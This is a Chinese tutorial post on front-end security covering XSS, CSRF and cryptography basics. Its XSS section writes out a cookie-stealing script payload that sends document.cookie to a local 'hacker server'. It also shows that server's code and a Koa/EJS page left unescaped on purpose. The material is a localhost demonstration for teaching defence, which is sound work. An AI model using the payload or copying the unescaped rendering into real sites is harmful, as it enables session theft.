前端安全
跨站脚本攻击(XSS)
XSS通常根据场景的不同分为几大类型
反射型XSS
存储型XSS
恶意代码通常存在数据库,影响广泛
基于DOM的XSS
反射型XSS的流程
用代码写了个例子,以便读者理解,完整代码附在后面。
普通用户首先访问localhost:3000/sign?name=akara
进行登录,同时获取Cookie
之后该用户可以通过点击localhost:3000/?content=helloworld
获取网页
此时的网页内容如下
<body>
<div>helloworld</div>
</body>
但有一天,黑客用户构造出了一个诡异的URL,并用QQ发送给普通用户,并骗他点开这个链接
http://localhost:3000/?content=<script>fetch(`http://localhost:8000?msg=${document.cookie}`)</script>
此时的网页内容如下
<body>
<div>
<script>fetch(`http://localhost:8000?msg=${document.cookie}`)</script>
</div>
</body>
可以看到网页被插入了一段恶意代码,执行这段代码的结果就是普通用户主动向黑客的服务器发送了一个请求,请求的参数是自己的Cookie。
那么这样黑客就拿到了普通用户的Cookie了,就可以肆意妄为的做坏事了。
// 正常网站的服务端
const Koa = require('koa')
const Router = require('koa-router')
const views = require('koa-views')
const mysql = require('mysql')
const bluebird = require('bluebird')
const config = {}
const conn = bluebird.promisifyAll(mysql.createConnection(config))
conn.connect()
const app = new Koa()
const router = new Router()
const render = views('./views', { extension: 'ejs'})
app.use(render)
app.use(router.routes())
app.use(router.allowedMethods())
router.get('/', async (ctx, next) => {
const {
content
} = ctx.query
return await ctx.render('template', {
content
})
})
router.get('/sign', async (ctx) => {
const { name } = ctx.query
ctx.set('Set-Cookie', `name=${name}`)
ctx.body = '登录成功'
})
app.listen(3000, () => {
console.log('我是正常的网站');
})
<!-- 模板文件ejs -->
<!DOCTYPE html>
<html>
<head>
<title>网页</title>
</head>
<body>
<h1>我是正常网站</h1>
<div><%- content %></div> <!-- 这里是 %- 而不是 %=,后者会进行转义 -->
</body>
</html>
// 黑客服务器
const Koa = require('koa')
const Router = require('koa-router')
const app = new Koa()
const router = new Router()
app.use(router.routes())
app.use(router.allowedMethods())
router.get('/', async (ctx, next) => {
console.log(`拿到了Cookie: ${ctx.query.msg}`)
ctx.set('Access-Control-Allow-Origin', '*')
ctx.body = '你的Cookie被我拿到啦'
})
app.listen(8000, () => {
console.log('假设我是黑客服务器');
})
黑客可以通过构造恶意链接,来达成XSS攻击。恶意链接如下
http://localhost:3000/?content=<script>fetch(`http://localhost:8000?msg=${document.cookie}`)</script>
存储型XSS案例
把上面案例的代码稍微改一下即可
router.get('/', async (ctx, next) => {
const data = await conn.queryAsync(`SELECT * FROM comments`)
return await ctx.render('test', {
content: data[0].content
})
})
然后在输入框构造恶意代码即可
XSS的防御
在数据输出时进行检测
XSS的本质是一种“HTML注入”,用户的输入数据被当成HTML代码的一部分来执行。
- 在HTML标签或属性中输出数据,使用HTMLEncode,将字符转化为html实体字符。通常转化& < > " ' / 这几个字符。
- 在Script标签或事件中输出数据,使用JavaScriptEncode,使用转义符 \ 对特殊字符转义。除了数字和字母,对小于127的字符编码使用\xHH表示,对大于127的字符用Unicode表示。
其他:
Cookie设置为HttpOnly也可以防止XSS劫持Cookie
CSP 内容安全策略,本质建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。
设置HTTP Header的Content-security-Policy
或者设置meta标签的
<meta http-equv="Content-Security-Policy">
以设置 HTTP Header 来举例
只允许加载本站资源
Content-Security-Policy: default-src ‘self’
图片只允许加载 HTTPS 协议
Content-Security-Policy: img-src https://*
允许加载任何来源框架
Content-Security-Policy: child-src 'none'
跨站请求伪造(CSRF)
要完成一次CSRF攻击,受害者必须依次完成两个步骤:
1.登录受信任网站A,并在本地生成Cookie。
2.受害者访问危险网站B, 网站B中发送请求给网站A,请求会自动带上Cookie。
CSRF的防御
验证码(因为CSRF的攻击往往在受害者不知情的时候成功)
检查请求的Referer头部
通常网站的页面与页面之间有一定的逻辑联系,例如想要发送登录的请求example.com/api/login时,通常用户在登录的页面example.com/login下。那么我们只需要验证请求的Referer是否为example.com/login即可。
缺陷:某些情况下浏览器不会发送Referer
Cookie的SameSite属性。
SameSite可以设置为三个值:Strict,Lax,None。
Strict模式:浏览器禁止第三方请求携带Cookie,比如example.com以外的网站在向example.com/api/login发送请求时不会发送Cookie。
Lax模式:相对宽松,只能在
get 方法提交表单
况或者a 标签发送 get 请求
的情况下可以携带 Cookie,其他情况均不能。None模式:默认模式,请求自动带上Cookie。(chrome 80后可能默认模式会改为Lax)
CSRF Token
CSRF的本质在于请求的参数可以被攻击者猜到
Token是一个随机数,同时存放在表单和用户的Cookie中,发送请求后服务器对请求实体的token和cookie中的token进行对比。
密码学相关
在我看来,密码学最重要的三个点
- 机密性
即保证通信的内容不会被第三者知晓。
- 完整性
即使能保证机密性,也要保证通信的内容没有被篡改过或丢失。
- 认证
即确认通信的对象并不是伪造的第三方。
加密算法
想要保证消息的机密性,就要使用合理的加密算法。
而加密算法根据使用的密钥的类型可以分为以下三种
- 对称加密算法
- 非对称加密算法(公钥加密算法)
- 混合加密算法
对称加密算法
正如其名,通信双方使用的密钥是完全相同的,密钥既可以把明文加密成密文,也可以把密文解密成明文。
不过对称加密算法的一大问题就是难以做到把密钥安全的送达给对方。对称加密算法使用到的密钥,需要使用对称加密算法,这样一看就变成死循环了,很明显不行。
常见对称加密算法:DES, 3DES, AES
对称加密有不同的分组模式,比如CBC模式就被用在TLS协议中。使用此模式的时候必须要准备好初始向量(对称密钥)
非对称加密算法
非对称加密算法使用的密钥对是一个公钥一个私钥。
公钥可以把明文加密成密文,而私钥则是把密文解密成明文。私钥是不能被其他人知道的,而公钥即使第三方拿到了也没有问题。因为最终完成解密的私钥只在你手上,别人只能加密而无法查看密文的内容。
因此,对称加密算法中运送密钥的难题在这里就不会发生了。但是,非对称加密算法在性能上比对称加密算法还是差了许多的,这也是为什么有混合加密算法。
常见非对称加密算法: RSA
混合加密算法
使用随机生成函数来生成一对密钥,利用公钥对密钥进行加密,这样就能解决密钥的配送难题了。
中间人攻击
混合加密基本上保证了数据的机密性,只要你能确定你所使用的公钥确实是对方发出的。
通常用户A和B进行加密通信的时候,A会向B发送自己的公钥,然后B利用公钥把对称加密所使用的密钥进行加密发送给A,A再用自己的私钥对密钥进行解密。这样双方接下来就能用密钥进行加密通信了。
但假设这样的场景:
A向B发送自己的公钥途中,公钥被黑客截取。然后黑客把自己的公钥发送给B,B误以为是A的公钥,结果用了黑客的公钥对自己的消息加密发送。黑客获取到了加密后的消息,可以用自己的私钥解密,就获取到了B发送消息的明文了。
又因为黑客截取了A发送的公钥,因此可以用A的公钥把自己想发送的消息加密发送给A。
这样一来,A会误以为黑客是B,B会误以为黑客是A,这就是所谓的中间人攻击。
导致中间人攻击的原因在于:无法确认公钥到底是谁发出的。
这也正是认证所解决的,下文会解释如何解决中间人攻击。
完整性
单向哈希函数
单向哈希函数接受一个任意长度的输入,生成一串固定长度哈希值。一旦输入的值发送一丁点变化,输出的哈希值也会产生巨大的改变。因此可以用来验证数据的完整性。
通信时使用的时候,可以同时把消息和消息经过哈希后的散列值发送给对方。对方只需要在接收到消息后,进行哈希获取散列值进行比对,就能知道消息是否完整。
可以把用户密码的摘要存在数据库,防止存密码可能导致被脱库的风险。这种“加密”是无法逆向得到密码原文的。
常见哈希函数:MD5,SHA
加盐
盐(Salt),在密码学中,是指在散列之前将散列内容(例如:密码)的任意固定位置插入特定的字符串。这个在散列中加入字符串的方式称为“加盐”。
通常情况下,当字段经过散列处理(如MD5),会生成一段散列值,而散列后的值一般是无法通过特定算法得到原始字段的。但是某些情况,比如一个大型的彩虹表,通过在表中搜索该MD5值,很有可能在极短的时间内找到该散列值对应的真实字段内容。
加盐后的散列值,可以极大的降低由于用户数据被盗而带来的密码泄漏风险(短密码容易被彩虹表破解),即使通过彩虹表寻找到了散列后的数值所对应的原始内容,但是由于经过了加盐,插入的字符串扰乱了真正的密码,使得获得真实密码的概率大大降低。
验证
消息认证码(MAC)
消息认证码的生成很像上面介绍的单向哈希函数,不同的是消息认证码的输入是消息和一个对称密钥,生成的值就叫消息认证码(MAC)。
与单向哈希函数对比后,就能知道消息认证码可以看作是与密钥相关联的单项哈希函数。正是因为与密钥相关联,消息认证码不仅仅能做到保证消息的完整性,还能起到认证的作用。(注:消息认证码中使用的密钥并没有起到加密的作用,仅仅是一个输入数而已。而数字签名中使用的到的私钥起到的签名的作用。二者之间是不同的)
数字签名
使用私钥对消息进行加密(签名),使用公钥对消息进行解密(验证)。
单向哈希函数,消息认证码和数字签名的区别在哪?
很明显,单向哈希函数只能验证消息的完整性。
问题简化成消息认证码和数字签名的区别。
二者都能做到验证消息的完整性和认证。
消息认证码是通过比对 消息和对称密钥的运算生成的MAC。
而数字签名是通过比对 私钥对消息的加密生成的签名。
(要注意的是消息认证码中对称密钥的作用并不是加密,而仅仅是一个输入的数)
二者的差别就在于一个用的是对称密钥,一个是非对称密钥。
所以使用消息认证码的时候,B可以伪造出一个信息说是A发送的,对于第三方来说,由于A和B的密钥相同,所以无法证伪。
而如果使用数字签名,A和B使用的密钥不同,就不会发生这种事了。
证书
之前说过了,导致中间人的原因是无法确认公钥到底是谁的,我们所需要解决的问题就是公钥的认证问题。
我们之前也说过数字签名可以进行消息的认证,而证书实际上使用的就是数字签名来认证。
先解释一下证书的构成:
证书 = 网站的公钥 + CA(Certificate Authority,证书颁发机构)的私钥对网站公钥的签名
当用户访问网站时,并不是直接把公钥发给用户,而是把证书发给用户。二者的最大差别就是证书上除了公钥,还有签名。因此当用户收到证书后,用CA的公钥对签名进行验证,就能知道这个公钥到底是不是网站的公钥了。